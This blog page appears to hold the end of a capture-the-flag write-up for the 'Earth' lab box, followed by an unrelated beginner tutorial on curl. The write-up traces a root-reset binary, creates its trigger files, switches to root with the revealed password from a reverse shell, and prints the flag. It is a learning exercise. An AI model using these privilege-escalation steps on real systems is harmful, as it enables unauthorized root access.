mmap(0x7ff2ffed9000, 348160, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17d000) = 0x7ff2ffed9000
mmap(0x7ff2fff2e000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d1000) = 0x7ff2fff2e000
mmap(0x7ff2fff34000, 52624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ff2fff34000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2ffd59000
arch_prctl(ARCH_SET_FS, 0x7ff2ffd59740) = 0
set_tid_address(0x7ff2ffd59a10)         = 3872
set_robust_list(0x7ff2ffd59a20, 24)     = 0
rseq(0x7ff2ffd5a060, 0x20, 0, 0x53053053) = 0
mprotect(0x7ff2fff2e000, 16384, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ)     = 0
mprotect(0x7ff2fff8f000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7ff2fff41000, 114611)          = 0
newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
getrandom("\xc4\xad\x58\x5b\x45\x55\x52\x3f", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x67b000
brk(0x69c000)                           = 0x69c000
write(1, "CHECKING IF RESET TRIGGERS PRESE"..., 38CHECKING IF RESET TRIGGERS PRESENT...
) = 38
access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
exit_group(0)                           = ?
+++ exited with 0 +++

Well, that's a lot. The answer is probably in there, but let's see if ltrace is more concise.

ltrace ./reset_root
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
)              = 38
access("/dev/shm/kHgTFI5G", 0)                           = -1
access("/dev/shm/Zw7bV9U5", 0)                           = -1
access("/tmp/kcM0Wewe", 0)                               = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
)              = 44
+++ exited (status 0) +++

Well, that's easier to see. And I can see those 3 access() lines were at the end of the strace output also. I just didn't know what to look for. So, I *THINK* that reset_root is just looking for those files to exist to work. So back in my reverse shell, I issued these four commands to make the three files and then run reset_root again.

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

Okay. So, can I switch to root and get the flag? Yep!

su root # Earth as password when prompted
whoami
root
cd /root
ls
anaconda-ks.cfg
root_flag.txt
cat root_flag.txt

              _-o#&&*''''?d:>b\_
          _o/"`''  '',, dMF9MMMMMHo_
       .o&#'        `"MbHMMMMMMMMMMMHo.
     .o"" '         vodM*$&&HMMMMMMMMMM?.
    ,'              $M&ood,~'`(&##MMMMMMH\
   /               ,MMMMMMM#b?#bobMMMMHMMML
  &              ?MMMMMMMMMMMMMMMMM7MMM$R*Hk
 ?$.            :MMMMMMMMMMMMMMMMMMM/HMMM|`*L
|               |MMMMMMMMMMMMMMMMMMMMbMH'   T,
$H#:            `*MMMMMMMMMMMMMMMMMMMMb#}'  `?
]MMH#             ""*""""*#MMMMMMMMMMMMM'    -
MMMMMb_                   |MMMMMMMMMMMP'     :
HMMMMMMMHo                 `MMMMMMMMMT       .
?MMMMMMMMP                  9MMMMMMMM}       -
-?MMMMMMM                  |MMMMMMMMM?,d-    '
 :|MMMMMM-                 `MMMMMMMT .M|.   :
  .9MMM[                    &MMMMM*' `'    .
   :9MMk                    `MMM#"        -
     &M}                     `          .-
      `&.                             .
        `~,   .                     ./
            . _                  .-
              '`--._,dd###pp=""'

Congratulations on completing Earth!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_b0da9554d29db2117b02aa8b66ec492e]

We have achieved Root and Captured the Flag

There we have it. As far as I can tell, SSH being open was a rabbit hole and so were the other messages. I'm not sure if there was a better way to tell what reset_root was checking for, but if you were able to follow along and learn something, that's great! If you have any tips about how you may have solved this box differently, let me know.

General Tips

Core Tools to Know: curl

'curl'-y pig's tailAs all bloggers eventually find out, two of the best reasons to write blog posts are either to document something for yourself for later or to force yourself to learn something well enough to explain it to others. That’s the impetus of this series that I plan on doing from time to time. I want to get more familiar with some of these core tools and also have a reference / resource available that is in “Pete Think” so I can quickly find what I need to use these tools if I forget.

The first tool I want to tackle is curl. In the world of command-line tools, curl shines as a flexible utility for transferring data over various network protocols. Whether you’re working on the development side, the network admin side, or the security side, learning how to use curl effectively can be incredibly beneficial. This blog post will guide you through the very basics of curl, cover some common use cases, and explain when curl might be a better choice than wget.

What is curl

curl (Client for URL) is a command-line tool for transferring data with URLs. It supports a wide range of protocols including HTTP, HTTPS, FTP, SCP, TELNET, LDAP, IMAP, SMB, and many more. curl is known for its flexibility and is widely used for interacting with APIs, downloading files, and testing network connections.

Installing curl

Before diving into curl commands, you need to ensure it is installed on your system. Lots of operating systems come with it. In fact, even Windows has shipped with curl in Windows 10 and 11.

For Linux:

sudo apt-get install curl  # Debian/Ubuntu
sudo yum install curl      # CentOS/RHEL

For macOS:

brew install curl

For Windows
You can download the installer from the official curl website if it isn’t already on your system. To check, just type curl –help at the command prompt and see if it understand the command. If you get something back like this, you’re all set.

C:\Users\peteonsoftware>curl --help
Usage: curl [options...] <url>
 -d, --data <data>           HTTP POST data
 -f, --fail                  Fail fast with no output on HTTP errors
 -h, --help <category>       Get help for commands
 -i, --include               Include response headers in output
 -o, --output <file>         Write to file instead of stdout
 -O, --remote-name           Write output to file named as remote file
 -s, --silent                Silent mode
 -T, --upload-file <file>    Transfer local FILE to destination
 -u, --user <user:password>  Server user and password
 -A, --user-agent <name>     Send User-Agent <name> to server
 -v, --verbose               Make the operation more talkative
 -V, --version               Show version number and quit

This is not the full help, this menu is stripped into categories.
Use "--help category" to get an overview of all categories.
For all options use the manual or "--help all".

The Most Simple Example

The simplest way to use curl is to fetch the contents of a URL. Here is a basic example that will will print the HTML content of the specified URL to the terminal:

c:\
λ curl https://hosthtml.live
<!doctype html>
<html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_M6heeSY2n3p1IRsqfcIljkNrgqYXDBDFSWeybupIpyihjfHMZhFu8kniDL51hLxUnYHjgmcv2EYUtXfRDcRWZQ==" lang="en" style="background: #2B2B2B;">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC">
    <link rel="preconnect" href="https://www.google.com" crossorigin>
</head>
<body>
<div id="target" style="opacity: 0"></div>
<script>window.park = "eyJ1dWlkIjoiZDFhODUxY2ItOTUyZi00NGUyLTg4ZWMtMmU3ZGNhZmE1OTk0IiwicGFnZV90aW1lIjoxNzIwNzMyMzQxLCJwYWdlX3VybCI6Imh0dHBzOi8vaG9zdGh0bWwubGl2ZS8iLCJwYWdlX21ldGhvZCI6IkdFVCIsInBhZ2VfcmVxdWVzdCI6e30sInBhZ2VfaGVhZGVycyI6e30sImhvc3QiOiJob3N0aHRtbC5saXZlIiwiaXAiOiI3Mi4xMDQuMTY5LjE1NCJ9Cg==";</script>
<script src="/bwjblpHBR.js"></script>
</body>
</html>

Some Useful Examples to Actually Do Stuff

Downloading Files

# To download a file and save it with a specific name:
curl -o curlypigtail.jpg https://peteonsoftware.com/images/202407/curlytail.jpg

# If you want to save the file with the same name as in the URL:
curl -O https://peteonsoftware.com/images/202407/curlytail.jpg

Sending HTTP Requests

# GET requests are used to retrieve data from a server. The basic example is already shown above. 
# To include headers in the output, use the -i option:
curl -i https://hosthtml.live

# POST requests are used to send data to a server. 
# This is particularly useful when interacting with APIs. 
curl -X POST -d "param1=value1&param2=value2" http://somereallygreat.net/api

# Many APIs now accept JSON.  This is how you'd send that
curl -X POST -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' http://somereallygreat.net/api

# Without explaining it, we included a header above (-H).  That added a Content-Type header.  
# To add an Auth header, you might do something like this
curl -H "Authorization: Bearer token" http://asitethatneedsbearertokens.com

Cookies

# To save cookies from a response
curl -c cookies.txt https://www.google.com

# To send cookies with a request
curl -b cookies.txt https://www.google.com

When to Use curl Over wget

While both curl and wget are used to transfer data over the internet, they have different strengths. Daniel Stenberg is the creator of curl (and also contributes to wget) and he’s published a more lengthy comparison here. I defer to the expert, but here are some of my big takeaways.

curl Advantages

  • Flexibility: curl supports a wider range of protocols (like SCP, SFTP) and provides more options for customizing requests.
  • Availability: curl comes preinstalled on macOS and Windows 10/11. wget doesn’t.
  • Pipelining: curl can be used to chain multiple requests together, making it powerful for scripting complex interactions.
  • Reuse: curl is a library (libcurl), while wget is just a command line tool.

wget Advantages

  • Recursive Downloads: wget can download entire websites recursively, making it ideal for mirroring sites.
  • Simplicity: For simple downloading tasks, wget might be more straightforward and easier to use.

curl is a versatile tool that – once mastered – can simplify many network-related tasks. From downloading files to interacting with APIs, curl provides the flexibility and functionality needed for a wide range of applications. While wget has its strengths, particularly for simple downloads and recursive website copying, curl shines in its versatility and extensive options for customizing requests.